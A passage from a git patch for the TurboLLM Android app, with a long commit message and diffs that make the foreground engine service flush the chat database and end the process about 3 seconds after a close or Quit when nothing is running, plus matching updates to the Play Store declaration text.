a setting changed just before it. The app opened again within those 3 s cancels the quit, with no flush. - A close keeps the session it was made in: the newest activity, the newest start and how many times the app came on screen (repostNotification, from MainActivity.onResume, now counts them). A second close in the same session while one is being decided (Back, then the card it left swiped away) shares that decision's verdict, quit or stay: the decision rests on a reading still under way when that close came, or taken after it. Decided afresh once the first decision had ended, it would be read seconds later with a slow daemon, and a close made while a reply ran would quit the app if the reply had ended by then. A close after the app was opened again is decided on its own, at once, as a first close is: the earlier decision is called off by that reopening and its reading may predate it. A close that came before the reopening is never decided after it, so it cannot kill the reopened app. - Something running: nothing more happens. The notifications-off stop (stopWhenIdle, stopNow, idleNow), the poll's re-decision once nothing was loaded, and the check that Quit could still be reached (closedWithQuit, quitReachable, the channel-turned-off re-check) are gone. The wake lock rules, the repost of a swiped notification and the newest-activity guard on a close are unchanged; a server feature holds no wake lock. - A later close with nothing running quits: opening the app and closing it again, or swiping away the card a Back left in Recents. - Quit waits the same 3 s after the tap before its flush and its kill. It killed right after the flush, so a setting stored less than a second before Quit was lost (older bug: origin/main kills at once). The app opened again during the hold or the flush calls Quit off, and the service goes on as before the tap: a new activity, a newer start, or the app brought back on screen after Home, which the kill would otherwise end under the user. A Quit tapped again meanwhile takes over with its own hold. A close in the Quit's session decides nothing, and one being decided when Quit is tapped is called off, so Quit gives one flush and one kill. - queryLoaded() becomes queryStatus(), which reads an unreadable status as null, not as nothing loaded; its parsing, statusRuns(), also reads `serving` (daemonServes). queryActivity() reads a reply without an items list as unreadable; the poll still reads that as idle. MainActivity.kt: - onDestroy sends the activity's close only after Back, the only time the app calls finish() (now overridden to note it): DaemonWebView's BackHandlers, and before Android 12 the system's own Back during the splash. A swipe from Recents finishes the activity from the system's side, without finish(), and the service already hears it as onTaskRemoved. Sent for a swipe too, it was a second close of the same swipe, decided afresh a moment later: a swipe while a reply ran quit the app if the reply ended between the two, against the rule above. One swipe is now one close. - The comment on activityOpened names the close. PLAY-FGS-DECLARATION.md and play-store-assets/privacy-notes.md describe the new lifecycle: the process ends about 3 seconds after such a close or a Quit, and opening the app within them keeps it running, as does the app coming back on screen after Quit (the phone unlocked onto it, say); LAN access, remote access, Turbo Link for other devices and a running routine count as running, a routine only scheduled for later does not; a model loading counts as loaded; a daemon that gives no answer, or one the app cannot read, counts as running; a later close includes swiping away the card a Back left in Recents; and with notifications off there is no Quit: on Android 13+ the system's list of active apps can stop the app, and a later close with nothing running quits. PLAY-FGS-DECLARATION.md also says, outside the text to paste, that the server features are read from the bundled daemon's `serving`: a daemon without it reports them all off, and such a close then quits, so the text holds only for an APK built with a TurboLLM that has it. It says there too that a close made while the app is still starting waits up to 30 seconds for the daemon, so the text's daemon that gives no answer is one that has not answered by then, or that stops answering once up, and that such a close with nothing running ends the app about 3 seconds after it, or right after the daemon answers if that is later. Behaviour change: closing the app with nothing running now ends its process about 3 s later, with notifications on or off, after writing the chat database. A close made while the daemon gives no proof (mostly while the app is still starting, also in the gap of a LAN toggle's rebind or while the daemon does not answer in time) waits for it for about 30 s (up to about 33.5 s) and is decided on its answer, so with nothing running it ends the app too, 3 s after the close or right after the daemon answers if that is later. A routine only scheduled for later does not count as running: the routine scheduler (Routines, Settings, Experimental) fires nothing until the app is opened again. LAN access, remote access and Turbo Link peers hosted count as running: a close keeps the service while one is on, also with notifications off, and after it is turned off, until Quit or a later close with nothing running. Closing the app with something running keeps the service, with notifications on or off, until Quit or a later close with nothing running, also once that work has ended or the idle timer has unloaded the model. Before, with the notification up, Back kept the service until Quit whatever ran; with notifications off the service stopped by itself, which it no longer does. Quit ends the app about 3 s after the tap instead of at once, and opening the app within those 3 s keeps it running, so Quit followed at once by opening the app no longer restarts it. The app coming back on screen in that time without a new activity (onResume only, the phone unlocked onto it included) keeps it running too. A swipe from Recents no longer sends the activity's own close beside onTaskRemoved. The declaration text Play reviews changes again: paste it into the Play Console declaration again. Tests: there is no Kotlin test harness in this repo, so none is added. Checked on the JVM with the real EngineService.kt and the scripted daemon of fix(android): leaving the app no longer unloads the model, each case with notifications off and on; MainActivity is not compiled there, so the harness sends what it sends. A close with nothing running (Back, a swipe, an engine in error, only a paused and a failed download, the reopened app's Back, swiping away the card a Back left once its download ended, a status whose `serving` is all off or left out) now writes the database, reads the daemon again and kills the process, once, 3.1 s after the close; before the fix the service stayed in the foreground with notifications on, and with them off it stopped without a kill (or, after a swipe with onTaskRemoved first, was still up 2 s later). A close with a model loaded (also once the idle timer unloads it), only a pool model, a reply, an API client's generation, a download, an approval wait or an import (each also once it ends) keeps the service, with notifications off too, where before the fix it stopped once the work or model ended, and during an approval wait at once. So does a close with only LAN access on, only remote access up or two Turbo Link peers hosted, each also once it is turned off, a swipe with LAN access on, a linkPeers of 1.0, and a model loaded with LAN access on once the model is unloaded; before the fix each of these stopped the service with notifications off. LAN access turned on during the hold keeps the service too. A `serving` whose lan is the string "true", whose remote is 1, whose fields are null, whose linkPeers is "2", or that is true or an array, reads as nothing served, and that close quits. A model loading, only a Laya model and a queued download, which do not end in those cases, stay as before; so does every case with notifications on. The wake lock is held only while the work runs. A reopen, or a newer start request, during the hold or the flush kills nothing (during the hold it flushes nothing either), and Back again right after it quits; a model load that starts during the hold or the flush keeps the service; a repost during it does not stop the quit; the old activity's late close is ignored. A status, activity or download query that fails, answers 500 or lacks the daemon's fields, at the close or after the flush, keeps the service up (before the fix, with notifications off, each stopped it). Back with nothing running and the card swiped during the decision quits once, with one flush (two when the card's close is not shared). With each daemon call taking 1.5 s, Back while a reply runs and the card swiped 0.3 s later, the reply ending 1.7 s after Back, stays, and so does the card swiped during the flush while a reply waits for an approval that ends right after the second reading saw it; with the card's close decided on its own, the first of these quits. Back with nothing running, the card swiped 1 s later and the app opened again 2 s after Back, or during the flush, kills nothing: the app stays up; the card swiped with no reopen quits once. With that close decided after the first decision instead, under the reopened app's activity and start, the open app was killed 6 s after Back. Back while the activity read hangs for 10 s and then fails, the app opened again 1 s later and Back pressed 0.5 s after that with nothing running, quits 3.1 s after the second Back; sharing the first decision's verdict, it stayed. The same slow daemon with the reply running, the app opened again and Back pressed 0.5 s after the first Back, the reply ending 1.2 s after that, now quits: that close is read on its own, as a first close made then is. Without the hold the kill came 0.16 s after the close, and a reopen 1 s after Back came too late to keep the process. Quit, before the fix, killed 0.03 s after the tap. Now the flush is asked 3.0 s after it and the kill follows: 3.0 s after the tap with the flush answering, refused or 404, 4.6 s with it silent, 5.0 s with it hanging. The app opened again 1 s after Quit, or during its flush, kills nothing, and the service runs on as before: the reply then sent takes the wake lock and reads "Generating" with notifications on. The app brought back on screen 1 s after Quit with no new activity (onResume's repost only) kills nothing too; counted without it, it was killed 3 s after the tap. The notification swiped away during the hold does not stop Quit. Quit tapped twice, 1 s apart, gives one flush and one kill, 3 s after the second; Quit, a reopen and Quit again ends the app 3 s after the second Quit. Quit followed by a reopen and Back with nothing running quits from that close, 3.1 s after it; Back from the open app during Quit's hold, Quit during a close's hold, and Quit after a close that stayed each give Quit's one flush and one kill. Back or a swipe made while nothing gives the daemon's proof yet, the daemon up 2 s later with nothing running, writes the database, reads the daemon again and kills the process 3.1 s after the close (1.1 s after the daemon's first answer); with the daemon up 6 s after Back, the flush and the kill come 0.3 s after that answer. Back and the card swiped away 1 s later, both before the daemon is up, quit once, with one flush. Without the wait for the daemon each of these stayed in the foreground with nothing running, notifications on or off. A close before the daemon is up still stays when it comes up with a model load under way, when a load starts during the hold (the second reading sees it), when the daemon proves itself but its activity answers 500, when it never comes up (35 s) and when it comes up only 32 s after the close. The app opened again before the daemon is up kills nothing, and Back from it once the daemon is up with nothing running quits once, 3.1 s after that Back; Quit tapped during the wait gives Quit's one flush and one kill, 3.0 s after the tap. Every other case in this message gives the same result with the wait as without it. A swipe while a reply runs, the reply ending 0.3 s later, stays (also with the activity's own close first); with the activity's own close sent as before the MainActivity change, both quit. Swiping away a card a Back left while a model is still loaded stays. The Quit cases of fix(android): Quit writes the chat database to disk before the app exits and the notification cases of fix(android): the notification says what is running give the same results as before, Quit's 3 s aside. compileDebugKotlinAndroid passes. Not run on a device. Device check: with nothing loaded, swipe the app from Recents: about 3 s later adb shell pidof com.turbollm prints nothing and no llama-server or litert-lm-server process remains; the same after Back, and after swiping away the card Back left. Open the app with nothing loaded and swipe it from Recents during the splash: once the daemon is up, at least 3 s after the swipe, pidof prints nothing. Load a model, press Back: the notification stays, also once the idle timer unloads it; Quit ends it about 3 s later. Swipe the app during a short reply: the notification stays after the reply ends. Turn on LAN access with nothing loaded and press Back: the notification stays and another device can still reach the daemon. Change the theme, press Back at once with nothing loaded, wait 5 s, open the app: the theme is kept; the same with Quit tapped at once over the open app. Tap Quit, then open the app within 3 s: it stays open, the model still loaded. Tap Quit with the shade pulled down over the open app: the app ends about 3 s later (this assumes the shade does not pause the activity). Tap Quit from the lock-screen shade with the app on top and unlock within 3 s: the app stays, its notification with it, and a second Quit ends it about 3 s later. --- PLAY-FGS-DECLARATION.md | 62 ++-- .../kotlin/com/turbollm/app/EngineService.kt | 340 +++++++++++------- .../kotlin/com/turbollm/app/MainActivity.kt | 21 +- play-store-assets/privacy-notes.md | 40 ++- 4 files changed, 301 insertions(+), 162 deletions(-) diff --git a/PLAY-FGS-DECLARATION.md b/PLAY-FGS-DECLARATION.md index e66f032..adcee12 100644 --- a/PLAY-FGS-DECLARATION.md +++ b/PLAY-FGS-DECLARATION.md @@ -36,8 +36,19 @@ it for the form. ## Declaration text The answers describe what the code does (`EngineService.kt`). The service starts when the app is opened and stays -in the foreground, also while idle, until the user quits, so the text says so rather than suggesting it runs only -during generation. +in the foreground, also while idle, until the user quits or closes the app with nothing running, so the text says so +rather than suggesting it runs only during generation. + +LAN access, remote access and Turbo Link are read from the daemon the app bundles: the `serving` field of its GET +/api/v1/status, from TurboLLM's feat(api): /api/v1/status says which server features are on. A daemon without that +field reports them all off (the app reads a missing or malformed `serving` as nothing served), so a close with only +one of them on would quit: the text below holds only for an APK built with a TurboLLM that has it. + +A close made while the app is still starting, before its daemon answers (a swipe from Recents during the splash +screen, and before Android 12 Back there too), waits for the daemon, for up to 30 seconds, and is then decided as the +text says. So the text's daemon that gives "no answer" is one that has not answered by then, or one that stops +answering once it is up. Such a close with nothing running ends the app about 3 seconds after the close, or, when the +daemon takes longer to answer, right after it does. **Which feature uses the foreground service?** @@ -55,23 +66,33 @@ during generation. **What does the user see, and how do they stop it?** > From the moment the app is opened, a low-importance ongoing notification titled "TurboLLM", with a **Quit** action -> that stops the service, unloads the model and closes the app. On Android 14 and later, where the user can swipe -> this notification away, it is posted again at once, so Quit stays reachable. Its text says what is happening: -> "Running in the background" while idle, "Generating" while a reply is being written, "Loading a model", -> "Auto-tuning" or "Writing a skill" while the app does one of those, "Waiting for your approval" while a reply waits -> for the user to allow a tool call, "Importing models" during an import, the progress while a model download is -> running or queued (the file's name as the title, or "Downloading models" for several, how much has arrived and how -> fast, and a progress bar), and, when the phone is thermally throttled, "Running. The phone is hot, so generation -> will be slower" or what is running followed by "The phone is hot, so it is throttling speed" (for example -> "Generating. The phone is hot, so it is throttling speed"). Leaving the app never unloads the model by itself: the -> user does, in the app or with Quit, or the app's idle timer does once the model has gone unused for a while (60 -> minutes by default; the user can change it or turn it off in Settings). If the user has turned notifications off, -> so Quit cannot be reached, leaving the app (Back, or swiping it away from Recents) keeps the service only while a -> model is loaded (any model, an embedding model included) or something is being generated, imported or downloaded, -> and stops it once none of these is true; a paused or failed download does not keep it running. Turning the -> notification off after leaving the app does the same. A partial wake lock is held only while a reply is being -> generated, a model being loaded, auto-tuned, imported or downloaded, or a skill written, never while idle or while -> a reply waits for the user's approval. +> that stops the service, unloads the model and closes the app, about 3 seconds after the tap. On Android 14 and +> later, where the user can swipe this notification away, it is posted again at once, so Quit stays reachable. Its +> text says what is happening: "Running in the background" while idle, "Generating" while a reply is being written, +> "Loading a model", "Auto-tuning" or "Writing a skill" while the app does one of those, "Waiting for your approval" +> while a reply waits for the user to allow a tool call, "Importing models" during an import, the progress while a +> model download is running or queued (the file's name as the title, or "Downloading models" for several, how much has +> arrived and how fast, and a progress bar), and, when the phone is thermally throttled, "Running. The phone is hot, +> so generation will be slower" or what is running followed by "The phone is hot, so it is throttling speed" (for +> example "Generating. The phone is hot, so it is throttling speed"). Leaving the app never unloads the model by +> itself: the user does, in the app or with Quit, or the app's idle timer does once the model has gone unused for a +> while (60 minutes by default; the user can change it or turn it off in Settings). Closing the app (Back from its +> main screen, or swiping it away from Recents; pressing Home does not close it) with nothing running works as Quit +> does, whether notifications are on or off: about 3 seconds later the service stops and the app's process ends. +> Opening the app again within those 3 seconds, after Quit or such a close, keeps it running, as does the app coming +> back on screen after Quit (for example the phone unlocked onto it). Nothing is running when no model is loaded or +> loading (any model, an embedding model included), nothing is being generated, imported or downloaded (a paused or +> failed download does not count), no reply waits for the user's approval, no routine is running, and no access from +> other devices is on: LAN access, remote access (a tunnel, Tailscale Serve or Funnel), or Turbo Link letting other +> devices use this phone's models; when the app gets no answer from the daemon, or one it cannot read, it counts as +> running. Closed with something running, the app keeps the service, also after that work has ended, after the idle +> timer has unloaded the model and after that access has been turned off, until the user taps Quit or closes the app +> again with nothing running (after opening it, or by swiping away the card it left in Recents). A routine only +> scheduled for later does not count as running: such a close stops the routine scheduler with the app, until the app +> is opened again. If the user has turned notifications off (or the notification's channel), there is no Quit to tap: +> on Android 13 and later the system's list of active apps can still stop the app, and closing it again with nothing +> running quits. A partial wake lock is held only while a reply is being generated, a model being loaded, auto-tuned, +> imported or downloaded, or a skill written, never while idle or while a reply waits for the user's approval. **Why does no other foreground service type fit?** @@ -104,7 +125,8 @@ a small model, so the first load is quick and the reply visibly continues. and is complete or nearly so. 6. **0:38** Pull down the shade again. The notification now reads "Running in the background": the model stays loaded, ready for the next message, which is what the service is for. - Tap **Quit**. The notification disappears and the app closes, freeing the model. + Tap **Quit**. About 3 seconds later the notification disappears and the app closes, freeing + the model. Upload the video unlisted (for example on YouTube) and paste the link into the declaration. diff --git a/composeApp/src/androidMain/kotlin/com/turbollm/app/EngineService.kt b/composeApp/src/androidMain/kotlin/com/turbollm/app/EngineService.kt index 7ff06e3..ffa33e8 100644 --- a/composeApp/src/androidMain/kotlin/com/turbollm/app/EngineService.kt +++ b/composeApp/src/androidMain/kotlin/com/turbollm/app/EngineService.kt @@ -12,13 +12,12 @@ import android.os.Build import android.os.IBinder import android.os.PowerManager import android.os.Process +import android.os.SystemClock import android.util.Log import androidx.core.app.NotificationCompat -import androidx.core.app.NotificationManagerCompat import androidx.core.app.ServiceCompat import androidx.core.content.ContextCompat import org.json.JSONObject -import java.util.concurrent.atomic.AtomicBoolean private const val TAG = "TurboLLM" private const val CHANNEL_ID = "engine" @@ -30,9 +29,20 @@ private const val EXTRA_ACTIVITY = "com.turbollm.app.ACTIVITY" private const val POLL_MS = 3000L /** How many polls in a row may fail to read the download list before the notification drops its last progress. */ private const val DOWNLOAD_MISSES = 3 -/** The longest the daemon is given to write its database before the service stops (flushDatabase). */ +/** The longest the daemon is given to write its database before the process ends (flushDatabase). */ private const val FLUSH_WAIT_MS = 2000L -/** The primary engine states in which it holds a model (the daemon's manager.ts State): see queryLoaded. */ +/** How long a close made while the daemon gives no proof (still starting, mostly) waits for it before it is decided + * (appClosed), give or take one proof: one that hangs to its 3 s deadline as this runs out stretches the wait to + * about 33.5 s. A daemon that has not proved itself by then counts as something running. */ +private const val BOOT_WAIT_MS = 30_000L +/** How often that close asks the daemon for its proof again, as the splash does (DaemonWebView). */ +private const val BOOT_POLL_MS = 500L +/** The shortest time from a close (appClosed) or a Quit (quit) to the process kill. The WebView writes the page's + * localStorage (the theme, the font size, the chat to open again, the onboarding step) to disk only 1 s after a + * change: WebView turns on Chromium's aggressive DOM storage flushing, whose commit delay is 1 s, and a change made + * while a commit is under way waits for that one first. Nothing writes it when the process is killed. */ +private const val CLOSE_HOLD_MS = 3000L +/** The primary engine states in which it holds a model (the daemon's manager.ts State): see statusRuns. */ private val LOADED_STATES = setOf("starting", "running", "stopping") /** Keeps the daemon and its engine processes running while the app is not on screen. @@ -70,23 +80,32 @@ class EngineService : Service() { /** Polls in a row that could not read the download list (see pollActivity). Poll thread only. */ private var downloadMisses = 0 @Volatile private var thermal = 0 - /** Set when the app was closed with notifications off: stop once no model is loaded and nothing is generating, - * importing or downloading (see appClosed). */ - @Volatile private var stopWhenIdle = false - /** Set when the app was closed with Quit reachable, so the service stayed for it: the poll then keeps checking - * that Quit can still be reached (see pollActivity). */ - @Volatile private var closedWithQuit = false - /** The newest start request, so a stop only takes effect if no start arrived after it (stopSelfResult). Without - * this, Back then a quick reopen could stop the service under a pending startForegroundService, which Android - * answers by crashing the app ("did not then call Service.startForeground()"). */ + /** The newest plain start request (EngineService.start, from MainActivity.onCreate), so a close quits only if no + * start arrived after it (see appClosed). A close, a repost and Quit do not count: a repost (the notification + * swiped away) or a second close while a close is being decided must not cancel the quit. */ @Volatile private var lastStartId = 0 - private val stopping = AtomicBoolean(false) + /** The close being decided (appClosed), as the session it was made in (session), or null while none is. A close + * made in the same one (Back, then the card it left in Recents swiped away) shares its verdict instead of + * reading and flushing again. Main thread only. */ + private var deciding: Triple? = null + /** The Quit under way (quit), as the session it was tapped in, or null while none is. It ends the app unless the + * app is opened again during its hold, so a close made in that session decides nothing, and one being decided + * there is called off. Set on the main thread, read by the close's thread too. */ + @Volatile private var quitting: Triple? = null + /** The number of the newest Quit (quit), so a Quit tapped again during the hold of the last one takes over from + * it. Set on the main thread. */ + @Volatile private var quits = 0 /** Guards `running` against the poll thread: with it held, a check of `running` and the wake-lock or * notification call after it are one step, so onDestroy cannot slip between them. */ private val stateLock = Any() override fun onBind(intent: Intent?): IBinder? = null + /** The app's session, as the service sees it: the newest activity (newestActivity), the newest plain start + * (lastStartId) and how many times the app came on screen (appShown). A close or a Quit keeps the one it was + * made in: any change since means the app was opened again. */ + private fun session() = Triple(newestActivity, lastStartId, appShown) + override fun onCreate() { super.onCreate() val manager = getSystemService(NotificationManager::class.java) @@ -110,7 +129,6 @@ class EngineService : Service() { } override fun onStartCommand(intent: Intent?, flags: Int, startId: Int): Int { - lastStartId = startId if (intent?.action == ACTION_QUIT) { quit() return START_NOT_STICKY @@ -123,20 +141,19 @@ class EngineService : Service() { // Only the newest activity's close counts. Android destroys a finished activity once the next one on // screen is idle, so after Back and a quick reopen the old activity's close can come after the new one's // start, and acting on it unloaded the model under the open app (and with notifications off stopped the - // service too). + // service too); now it could quit the open app. if (intent.getIntExtra(EXTRA_ACTIVITY, 0) != newestActivity) return START_NOT_STICKY appClosed() return START_NOT_STICKY } if (intent?.action == ACTION_REPOST) { // Android 14+ lets the user swipe the engine notification away (setOngoing no longer prevents it), and its - // Quit with it, while appClosed() keeps counting on Quit being there. Put it straight back. MainActivity - // sends this too whenever it comes on screen (repostNotification). + // Quit with it, while a service the app was closed under keeps running until Quit (appClosed). Put it + // straight back. MainActivity sends this too whenever it comes on screen (repostNotification). if (running) updateNotification() else stopSelf(startId) return START_NOT_STICKY } - stopWhenIdle = false - closedWithQuit = false + lastStartId = startId ServiceCompat.startForeground( this, NOTIFICATION_ID, buildNotification(), if (Build.VERSION.SDK_INT >= 34) ServiceInfo.FOREGROUND_SERVICE_TYPE_SPECIAL_USE else 0, @@ -168,91 +185,160 @@ class EngineService : Service() { * daemon writes the database only on its own schedule, so a reply that had just finished, or a chat started just * before Quit, was gone when the app was opened again. The flush runs off the main thread, where this is called, * and takes at most FLUSH_WAIT_MS; the service stays in the foreground until then, so Android cannot freeze the - * process under the write. The kill follows whatever the flush answered. */ + * process under the write. The kill follows whatever the flush answered. + * + * The flush and the kill wait until CLOSE_HOLD_MS after the tap, as a close's do (appClosed): the kill came right + * after the flush, so a setting the page had stored less than a second before Quit (the theme, say) was lost + * with it. The app opened again during the hold or the flush (session: a new activity, a newer start, or the app + * brought back on screen after Home, which the kill would otherwise end under the user) calls the Quit off, and + * the service goes on as before the tap. A Quit tapped again meanwhile takes over, with a hold of its own. A close + * made before the app is opened again decides nothing: the Quit ends the app (appClosed). */ private fun quit() { Log.i(TAG, "quit from the notification") - synchronized(stateLock) { - running = false - releaseWakeLock() - } + val session = session() + quitting = session + val quit = ++quits + val tappedAt = SystemClock.uptimeMillis() Thread({ - flushDatabase() + // Not called off: no activity created, no newer start and the app not back on screen since, no newer Quit. + fun current() = quits == quit && session() == session + val hold = CLOSE_HOLD_MS - (SystemClock.uptimeMillis() - tappedAt) + if (hold > 0) Thread.sleep(hold) + if (current()) flushDatabase() ContextCompat.getMainExecutor(this).execute { - ServiceCompat.stopForeground(this, ServiceCompat.STOP_FOREGROUND_REMOVE) - stopSelf() - Process.killProcess(Process.myPid()) + // On the main thread, where MainActivity.onCreate takes its number: the app is either open again by + // now, or it is not opened before the kill. + if (quits == quit) quitting = null + if (current()) { + synchronized(stateLock) { + running = false + releaseWakeLock() + } + exit() + } } }, "turbollm-quit").start() } - /** Swiped away from Recents: the same as backing out of the app. */ + /** How Quit ends, and a close with nothing running (appClosed): out of the foreground, stopped, and the process + * killed, the daemon and its engine children with it. Main thread, after flushDatabase. */ + private fun exit() { + ServiceCompat.stopForeground(this, ServiceCompat.STOP_FOREGROUND_REMOVE) + stopSelf() + Process.killProcess(Process.myPid()) + } + + /** Swiped away from Recents: the same as backing out of the app. Also the card that Back left there, with no + * activity left in it. A swipe sends only this: the activity it finishes sends no close of its own + * (MainActivity.onDestroy), so one swipe is one close. */ override fun onTaskRemoved(rootIntent: Intent?) { if (running) appClosed() super.onTaskRemoved(rootIntent) } - /** The user left the app (Back, or swiped from Recents). Leaving never unloads the model: only the user does (in - * the app, or with Quit), or the daemon's own idle timer (Settings, daemon.idleTtlMinutes, which the user can - * change or turn off). With the notification visible, its Quit is how they free the model, so the service stays. - * Without it there is nothing to reach, so the service stays only while a model is loaded or work runs, and stops - * once neither is true (stopNow), and the process becomes an ordinary closed app Android can reclaim. */ + /** The user closed the app: Back from its root screen, or a swipe from Recents (Home is not a close). With nothing + * running, that is a Quit, whatever the notification settings: the database is written (flushDatabase) and the + * process ends (exit), so nothing of the app is left in memory. With anything running (anythingRuns: a model + * loaded or loading, work in progress, a reply waiting for a tool approval, a download or an import, or a server + * feature on: LAN access, remote access, Turbo Link peers hosted), the service stays in the foreground and keeps + * the daemon up, also after that work ends or that feature is turned off: only Quit, or a later close with + * nothing running (opening the app again and closing it, or swiping away the card a Back left in Recents), ends + * it. Leaving never unloads the model: only the user does (in the app, or with Quit), or the daemon's own idle + * timer (Settings, daemon.idleTtlMinutes), which leaves the service up. A routine counts while it runs (an + * activity item); one only scheduled for later does not, and the routine scheduler ends with the app. + * + * It used to quit nothing: with the notification visible the service stayed until Quit, even with no model + * loaded, and with notifications off it stopped once nothing was loaded or running, leaving the process to + * Android, which kept it as a cached app. With notifications off there is no Quit: on Android 13+ the system's + * active-apps list can still stop the service, and a later close with nothing running quits. + * + * The poll's view (`busy`) is up to 3 s old: a reply sent or a model load started just before the close would not + * be in it yet. So the daemon is asked now, and again after the flush, right before the kill. A query that fails + * counts as something running: the daemon is never quit on a guess. Nor does the kill go ahead once an activity + * was created since the close (the app opened again: MainActivity.onCreate takes its number at once, while the + * start it sends waits on the main thread behind that onCreate) or a newer start arrived. The kill comes no + * sooner than CLOSE_HOLD_MS after the close, so the WebView has written what the page last stored. A Quit tapped + * meanwhile calls the decision off and ends the app itself (quit). + * + * A close made while the daemon gives no proof (DaemonAuth.daemonProven, which the splash waits on too) first + * waits for it: it asks again every BOOT_POLL_MS, for about BOOT_WAIT_MS (a proof that hangs to its 3 s deadline + * as that runs out stretches it to about 33.5 s) and only while the close is still the app's last, and is then + * decided on what the daemon says. Mostly that is a close during start-up, before the daemon listens (a swipe + * from Recents during the splash, and before Android 12 Back there too), but it is also one made in the gap + * while a LAN toggle rebinds the daemon's port, or while the daemon is up but does not answer in time. Read at + * once, the daemon not up yet failed the query, which counted as something running, so a close during the + * splash kept the app until Quit with nothing ever run. A daemon that has not proved itself by the end of the + * wait, or that proves itself and then answers badly, still counts as something running. The hold still counts + * from the close. With the model's auto-load at start on (Settings), that load begins only after the daemon's + * boot scan, so a close read right after the daemon first answers can quit before it begins: nothing ran at the + * close. + * + * A second close in the same session (session) while one is being decided (Back, then the card it left swiped + * away) shares that decision's verdict: decided afresh once the first had ended, it would read the daemon + * seconds after that close, so a close made while a reply ran would quit the app if the reply had ended by then. + * A close after the app was opened again is decided on its own, at once, as a first close is: the earlier + * decision is called off by that reopening, and its reading may predate it. Queued behind that decision, a close + * made before the reopening would be decided once the decision ended, in the open app's session, and kill the + * app on screen. */ private fun appClosed() { - // Post it again first. quitReachable() reads the settings, not the shade, and a post made while notifications - // were off is dropped for good: on Android 13+ startForeground posts before the user can answer the - // permission prompt, and a later grant (at that prompt, or in Settings with the process still alive) re-posts - // nothing. Without this, Back after such a grant left the service and the model running with no notification - // and no Quit. Posted now, the notification is up whenever the settings say it can be. + // Post it again first: a post made while notifications were off is dropped for good (on Android 13+ + // startForeground posts before the user can answer the permission prompt), and a later grant, at that prompt + // or in Settings with the process still alive, re-posts nothing. Without this, Back after such a grant could + // leave the service running with no notification and no Quit. updateNotification() - if (quitReachable()) { - closedWithQuit = true - return - } - closedWithQuit = false - stopWhenIdle = true - if (!busy) stopNow() - } - - /** Whether the notification, and its Quit, can be seen: notifications on for the app (Android 13+ asks) and the - * Engine channel not turned off on its own. It reads the settings, not the shade, so appClosed posts first. */ - private fun quitReachable(): Boolean { - if (!NotificationManagerCompat.from(this).areNotificationsEnabled()) return false - if (Build.VERSION.SDK_INT >= 26) { - val channel = getSystemService(NotificationManager::class.java).getNotificationChannel(CHANNEL_ID) - if (channel?.importance == NotificationManager.IMPORTANCE_NONE) return false - } - return true - } - - /** Stop, once no model is loaded and nothing runs, unless the app came back or a newer start request arrived in - * the meantime. It unloads nothing. It used to stop the model (POST /api/v1/engine/stop) as soon as nothing was - * generating, so a loaded model was gone after every Back with notifications off; a model is unloaded only by - * the user or by the daemon's idle timer, and until one of them has, the poll keeps the service up. The daemon - * writes its chat database to disk first (flushDatabase): a stopped service lets Android freeze the process and - * later kill it, which loses whatever the daemon had not written yet. */ - private fun stopNow() { - if (!stopping.compareAndSet(false, true)) return - val startId = lastStartId - // The app came back if an activity was created since: MainActivity.onCreate takes its number at once, while - // the start it sends waits on the main thread behind that onCreate, and stopWhenIdle stays set until it runs. - val activity = newestActivity + val session = session() + // A Quit tapped in this session ends the app itself; a close in it already being decided shares that one. + if (quitting == session || deciding == session) return + deciding = session + // uptimeMillis, as the WebView's commit timer, does not count deep sleep. + val closedAt = SystemClock.uptimeMillis() Thread({ - // `busy` is the poll's view, up to 3 s old: a reply sent or a model load started just before Back would - // not be in it yet. Ask the daemon now, and again after the flush, right before stopping, so the service - // never stops under work or a model that has just started. - val stop = idleNow() && run { - flushDatabase() - stopWhenIdle && newestActivity == activity && idleNow() + // Still the app's last close: no activity created and no newer start since (the app opened again), and no + // Quit tapped in its session. + fun current() = running && quitting != session && session() == session + // No proof from the daemon (still starting, its port rebound for a LAN toggle, or not answering in time): + // wait for it, so the close is decided on what it runs, not on its silence. + val bootUntil = SystemClock.uptimeMillis() + BOOT_WAIT_MS + while (current() && SystemClock.uptimeMillis() < bootUntil && !DaemonAuth.daemonProven()) { + Thread.sleep(BOOT_POLL_MS) + } + // true: quit. false: something runs, so the service stays. null: called off, the app was opened again or + // Quit tapped. + val verdict: Boolean? = if (!current()) null else if (anythingRuns()) false else { + val hold = CLOSE_HOLD_MS - (SystemClock.uptimeMillis() - closedAt) + if (hold > 0) Thread.sleep(hold) + if (!current()) { + null + } else { + flushDatabase() + if (current()) !anythingRuns() else null + } } ContextCompat.getMainExecutor(this).execute { - stopping.set(false) - // onDestroy releases the wake lock and clears `running` once the stop takes effect. - if (stop && stopWhenIdle && newestActivity == activity && !busy) stopSelfResult(startId) + if (deciding == session) deciding = null + if (verdict == true && current()) { + Log.i(TAG, "closed with nothing running: quitting") + synchronized(stateLock) { + running = false + releaseWakeLock() + } + exit() + } } - }, "turbollm-stop").start() + }, "turbollm-close").start() } - /** No model loaded and nothing generating, importing or downloading, asked of the daemon now (see stopNow). */ - private fun idleNow(): Boolean = !queryBusy() && !queryDownloading() && !ModelImport.isRunning() && !queryLoaded() + /** Whether anything runs, asked of the daemon now (see appClosed): a model import, work in progress or a reply + * waiting for a tool approval (GET /api/v1/activity's items, engineGenerating or waiting), a model download + * running or queued (a paused or failed one does not count), or a model loaded or loading or a server feature on + * (queryStatus). A query that fails, or a reply it does not recognise, counts as something running. */ + private fun anythingRuns(): Boolean { + if (ModelImport.isRunning()) return true + val activity = queryActivity() ?: return true + if (activity.work != null || activity.waiting) return true + if (queryDownloads()?.isEmpty() != true) return true + return queryStatus() != false + } /** Ask the daemon to write its chat database to disk now (POST /api/v1/daemon/flush), waiting at most * FLUSH_WAIT_MS. On Android the database is kept in memory (sql.js) and written out on the daemon's own schedule, @@ -325,19 +411,9 @@ class EngineService : Service() { } if (changed) updateNotification() } - // The service stayed for Quit when the app was closed, but the user can still turn the Engine channel off - // (long-press on the notification). That removes the notification without sending its delete intent, so - // nothing else notices: decide again, as appClosed would now (on the main thread, where onDestroy runs, so - // a destroyed service posts nothing). (Revoking the app's notification permission on Android 13+ kills - // the process, which frees the model anyway.) - if (closedWithQuit && !quitReachable()) { - ContextCompat.getMainExecutor(this).execute { if (running && closedWithQuit) appClosed() } - } - // A loaded model keeps the service up too, until the user or the daemon's idle timer unloads it (stopNow). - // Asked only while the app is closed with notifications off, the one case it decides anything. - if (stopWhenIdle && !nowBusy && !queryLoaded()) { - ContextCompat.getMainExecutor(this).execute { if (stopWhenIdle && !busy) stopNow() } - } + // Nothing here stops the 